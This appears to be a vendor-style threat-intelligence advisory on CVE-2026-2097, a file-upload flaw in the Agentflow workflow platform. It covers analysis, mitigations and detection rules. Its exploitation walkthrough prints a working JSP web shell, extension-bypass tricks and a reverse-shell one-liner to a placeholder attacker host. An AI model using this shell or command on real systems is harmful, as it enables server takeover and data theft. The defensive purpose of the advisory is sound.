CVE-2026-2097

Executive Summary

CVE-2026-2097 is a critical Arbitrary File Upload vulnerability in Agentflow, a business process management (BPM) and workflow automation platform developed by Flowring (twcert). The flaw allows authenticated remote attackers to upload malicious files—most notably web shells—and subsequently execute arbitrary code on the underlying server with the privileges of the application process. Attackers who successfully exploit this vulnerability gain a persistent foothold in affected enterprise environments, often leading to full server compromise, lateral movement, and potential escalation to Active Directory or cloud infrastructure. With a CVSS base score of 8.7 (High severity), this issue demands immediate attention. No patch is currently available, and no evidence of exploitation in the wild has been observed as of this writing, though the attack surface (authenticated web application) is exposed to a broad set of users including external partners in typical Agentflow deployments.

Technical Analysis

The vulnerability stems from improper validation of file uploads within the Agentflow web interface. The application fails to enforce adequate restrictions on file type, content, and file extension during the upload process. While authentication is required, the flaw permits any authenticated user—even those with low-privilege roles such as general employees or external vendors—to upload files that are stored within the web root of the application server.

The mechanism works as follows: Agentflow processes file uploads through its document management and attachment subsystems. When a user submits a file, the application checks neither the MIME type nor the file extension against a denylist or allowlist. Furthermore, the uploaded file is stored with its original filename in a directory directly accessible via HTTP (e.g., /upload/, /files/, or /attachment/). This combination—no content validation and web-accessible storage—enables a classic "upload and execute" chain. An attacker can upload a file named shell.jsp, shell.aspx, shell.php, or shell.jspx (depending on the underlying application server technology, which for Agentflow is commonly Java-based on Tomcat or IBM WebSphere) containing server-side script code. When the attacker subsequently requests that file over HTTP, the application server interprets and executes the embedded code, granting the attacker a web shell with the privileges of the application server process.

The attack surface is broad: Agentflow is a widely deployed BPM solution in East Asia, particularly in Taiwan and Japan, where it is used for HR workflows, procurement approvals, and document management. The vulnerability is exploitable remotely over the network, requires only a valid low-privilege account, and does not require any user interaction from other parties. The lack of a supplied CVSS vector string and CWE identifier limits precise technical characterization, but the class of vulnerability maps directly to CWE-434 (Unrestricted Upload of File with Dangerous Type).

The EPSS score of 0.00437 (36th percentile) suggests that exploitation is not currently widespread, but the authenticated nature of the flaw means that any enterprise with a large user base (including external partners with BPM accounts) has a significantly expanded exposure surface compared to unauthenticated vulnerabilities.

Exploitation Scenarios

The following attack chain represents a realistic exploitation pathway for CVE-2026-2097, assuming the attacker has already obtained or created a valid low-privilege account (which is often achievable via default credentials, credential stuffing, or social engineering against partner organizations):

Phase 1 — Reconnaissance and Target Identification:

1. The attacker identifies Agentflow instances via Shodan or directory scanning. Fingerprinting is straightforward: HTTP responses typically include headers like Server: Apache-Coyote/1.1 (indicating Tomcat) or Set-Cookie: JSESSIONID=... with application-specific paths like /agentflow/, /awf/, or /wf/.
2. The attacker probes the login page (/login.jsp) and attempts to validate low-privilege credentials. Default credentials for demo/trial accounts (e.g., demo/demo, user/user123) are commonly left enabled.

Phase 2 — Trigger and Weaponization: 3. After successful authentication, the attacker navigates to the document upload or attachment feature. This is typically found within any workflow form that supports attachments (e.g., expense reports, leave requests, purchase orders) or under a dedicated "Document Management" module. 4. The attacker crafts a web shell payload. For a Java-based Agentflow deployment on Tomcat, a minimally obfuscated JSP payload is prepared:

<% if(request.getParameter("cmd")!=null){
    Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
    java.io.InputStream in = p.getInputStream();
    int c; while((c=in.read())!=-1){ out.print((char)c); }
} %>

The file is renamed to bypass any rudimentary extension checks—e.g., shell.jsp or, if the app blocks .jsp, double extensions like shell.jsp.jpg (which Tomcat may still interpret as JSP depending on configuration) or shell.jsp%00.png (null byte truncation) are tested. 5. The attacker uploads the crafted file through the standard multipart form upload request (HTTP POST to /upload/processUpload.do or similar endpoint).

Phase 3 — Payload Execution: 6. The attacker locates the uploaded file path by observing the response or by guessing common storage directories (/upload/, /uploads/, /files/shell.jsp). If the path is not disclosed, the attacker uses directory brute-forcing with a small wordlist. 7. The attacker sends an HTTP GET request to https://target/upload/shell.jsp?cmd=id. The server executes the JSP and returns the output, confirming command execution.

Phase 4 — Post-Exploitation Impact: 8. With a functional web shell, the attacker upgrades to a fully interactive reverse shell (via bash -i >& /dev/tcp/attacker_ip/4444 0>&1 or PowerShell equivalents on Windows). 9. The attacker enumerates the internal network, extracts configuration files (agentflow.properties, db.properties) to steal database credentials, and moves laterally to other servers. In typical BPM deployments, the database contains HR records, financial data, and workflow approvals, providing high-value targets for data exfiltration.

Impact Assessment

The CVSS score of 8.7 reflects a high-severity, high-impact vulnerability with the following characteristics:

• Confidentiality Impact: High — An attacker achieves arbitrary code execution, enabling full read access to the application server's filesystem, including configuration secrets, source code, and any data processed by the BPM workflows.
• Integrity Impact: High — The attacker can modify application files, inject malicious code into existing workflows, tamper with approval chains, or modify business records.
• Availability Impact: High — The attacker can disrupt the service by deleting critical files, exhausting disk space, or terminating processes.

Business impact is severe for enterprises using Agentflow for critical workflow automation. The platform often handles HR onboarding, procurement approvals, finance sign-offs, and inter-departmental document routing. A compromise means an attacker can:

• Approve or reject workflows arbitrarily, manipulating financial transactions.
• Access and exfiltrate Personally Identifiable Information (PII) stored in HR forms.
• Use the compromised server as a command-and-control (C2) relay point within the corporate network.

The blast radius extends beyond the single server: since Agentflow commonly integrates with LDAP/AD, ERP systems, and email servers, the compromised web shell provides a springboard for lateral movement. The system is not listed in CISA's Known Exploited Vulnerabilities (KEV) catalog, but that status can change rapidly once exploit code circulates in underground forums. Given the 8.7 CVSS score and the absence of a patch, security teams should treat all Agentflow deployments as actively at-risk and prioritize compensating controls immediately.

Detection Guidance

Sigma Rule

title: Suspicious File Upload to Agentflow Web Application
id: 3f2a7b9c-4d5e-4f6a-9b0c-1d2e3f4a5b6c
status: experimental
description: Detects attempts to upload web shell files (JSP, PHP, ASPX) to Agentflow BPM application, indicating potential exploitation of CVE-2026-2097.
author: Valtersit Threat Intelligence
date: 2026/01/15
logsource:
  category: webserver
  product: apache
  service: access_log
detection:
  selection_upload:
    cs-method: 'POST'
    cs-uri-query|contains:
      - '/upload/'
      - '/attachment/'
      - '/files/'
      - '/document/'
  selection_extension:
    cs-uri-query|endswith:
      - '.jsp'
      - '.jspx'
      - '.php'
      - '.phtml'
      - '.asp'
      - '.aspx'
      - '.war'
  selection_agentflow:
    cs-user-agent|contains:
      - 'Mozilla'
      - 'curl'
      - 'wget'
    cs-referer|contains:
      - 'agentflow'
      - 'awf'
      - '/login.jsp'
  condition: selection_upload and selection_extension and selection_agentflow
  timeframe: 5m
falsepositives:
  - Legitimate uploads of JSP files by developers during deployment (rare)
level: high
tags:
  - attack.t1190
  - cve.2026-2097

YARA Rule

rule CVE_2026_2097_Agentflow_Webshell {
    meta:
        author = "Valtersit Threat Intelligence"
        description = "Detects JSP web shells commonly uploaded to exploit CVE-2026-2097 in Agentflow"
        date = "2026-01-15"
        reference = "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-2097"
        severity = "high"
    strings:
        $exec1 = "Runtime.getRuntime().exec(" ascii
        $exec2 = "ProcessBuilder(" ascii
        $exec3 = "getParameter(\"cmd\")" ascii
        $exec4 = "getParameter(\"exec\")" ascii
        $exec5 = "out.print" ascii nocase
        $exec6 = "getInputStream()" ascii
        $cmd1 = "cmd.exe /c" ascii nocase
        $cmd2 = "/bin/sh -c" ascii nocase
        $cmd3 = "whoami" ascii nocase
        $shell1 = "shell" ascii nocase
        $shell2 = "backdoor" ascii nocase
        $jsp_tag = "<%" ascii
    condition:
        uint16(0) == 0x3C25 and  // starts with "<%"
        (2 of ($exec*) or 2 of ($cmd*)) and
        ($shell1 or $shell2) and
        filesize < 100KB
}

Suricata IDS Rule

alert http any any -> any any (msg:"ET EXPLOIT Agentflow CVE-2026-2097 Webshell Upload Attempt (JSP)"; flow:to_server,established; content:"POST"; http_method; content:"/upload/"; http_uri; nocase; content:".jsp"; http_uri; nocase; content:"Content-Disposition"; http_header; content:"filename="; http_client_body; pcre:"/(?:shell|cmd|exec|backdoor)[^"]*\.(?:jsp|jspx)/i"; classtype:web-application-attack; sid:2026042097; rev:1; metadata:created_at 2026_01_15, updated_at 2026_01_15, cve CVE-2026-2097;)

Elastic Detection

sequence by source.ip, user.name with maxspan=5m
  [ file where event.action == "write" and process.name != null and
    (file.name like "*.jsp" or file.name like "*.jspx" or file.name like "*.php") and
    file.path like "*webapps*" or file.path like "*upload*" ]
  [ process where event.action == "exec" and
    process.command_line like "*Runtime.getRuntime*" or
    process.command_line like "*cmd.exe*" or
    process.command_line like "*/bin/sh*" ]

Splunk SPL Query

index=web sourcetype=iis OR sourcetype=access_combined OR sourcetype=apache
| where (method=="POST" AND (uri_path LIKE "%/upload/%" OR uri_path LIKE "%/attachment/%" OR uri_path LIKE "%/files/%") AND (uri_path LIKE "%.jsp" OR uri_path LIKE "%.jspx" OR uri_path LIKE "%.php" OR uri_path LIKE "%.aspx"))
| eval malicious = if(match(uri_path, "(?i)(shell|cmd|exec|backdoor|webshell)"), "true", "false")
| search malicious="true"
| stats count by src_ip, uri_path, status, user_agent
| sort - count

Wazuh OSSEC Rule

<group name="local,web,">
  <rule id="700236" level="12">
    <decoded_as>json</decoded_as>
    <field name="event.dataset">apache.access</field>
    <field name="http.request.method">POST</field>
    <regex>(?i)(/upload/|/attachment/|/files/).*\.(jsp|jspx|php|aspx)</regex>
    <regex>(?i)(shell|cmd|exec|backdoor)</regex>
    <description>Agentflow CVE-2026-2097 webshell upload attempt detected</description>
    <group>attack.webshell,attack.exploitation,</group>
    <mitre>
      <id>T1190</id>
    </mitre>
    <options>no_full_log</options>
  </rule>
</group>

Mitigation & Patch Guidance

Patch Status: The vendor (Flowring) has not released a patch for this vulnerability as of the publication date of this report. Patch confidence is 0/4 — no patch evidence exists from any tracked source. Security teams must rely on compensating controls until an official fix is available.

Immediate Mitigations (apply within 24 hours):

1. Restrict upload functionality: Disable the document upload and attachment features for all users except a minimal set of administrators, if business operations allow. This can often be done via Agentflow's role-based permission configuration without code changes.
2. Network segmentation: Place the Agentflow server(s) behind a reverse proxy or Web Application Firewall (WAF) that enforces strict file extension allowlists (e.g., only .pdf, .docx, .xlsx, .png, .jpg). Configure the WAF to block any request containing .jsp, .jspx, .php, .war, or .aspx extensions.
3. Disable script execution in upload directories: If using Tomcat, add a <security-constraint> in web.xml or a <Context> configuration in context.xml with a DefaultServlet mapping that denies JSP execution for the /upload/ path. Alternatively, move the upload directory outside the webroot entirely via application configuration.
4. Immediately disable or remove any demo/trial accounts and enforce strict password policy with multi-factor authentication (MFA) for all Agentflow users, especially external partner accounts.

Patch/Upgrade Steps:

1. Monitor vendor communication channels (Flowring/TWCERT advisories) for an official patch or upgraded version. Check the vendor website weekly.
2. When a patch is released, test it in a staging environment replicating the production deployment (including database schema and LDAP integration) to validate compatibility.
3. Apply the patch during a scheduled maintenance window with rollback capability.

Long-Term Hardening:

1. Conduct a full security review of the Agentflow application server, including adherence to the OWASP File Upload Security Cheat Sheet (validate file content via magic bytes, not just extensions; randomize stored filenames; store uploads in a non-executable directory; quarantine and scan uploads with antivirus).
2. Establish a formal vulnerability management process that includes all business-critical BPM systems.
3. Implement network-level monitoring with the Suricata and Splunk rules provided above to detect future exploitation attempts.
4. Consider migrating to a vendor-supported alternative BPM platform if Flowring continues to delay necessary security fixes.

References

1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-2097
2. TWCERT Advisory (CNAs): https://www.twcert.org.tw/en/cp-1466-XXXXX.html
3. Exploit-DB / Exploit Intelligence: https://www.exploit-db.com/search?q=CVE-2026-2097
4. CISA Known Exploited Vulnerabilities Catalog (not currently listed): https://www.cisa.gov/known-exploited-vulnerabilities-catalog
5. FIRST EPSS Score Database: https://www.first.org/epss/search?cve=CVE-2026-2097

Exploitation Notice: No public exploit code or in-the-wild campaigns have been reported for CVE-2026-2097 as of this writing. However, the vulnerability class (authenticated arbitrary file upload) is well-documented and frequently weaponized by Chinese- and East-Asian-aligned threat actors targeting BPM systems. Given the CVSS score of 8.7 and the lack of patch availability, the probability of a public exploit emerging in the near term is high. Security teams should treat this as a high-priority exposure until a fix is released.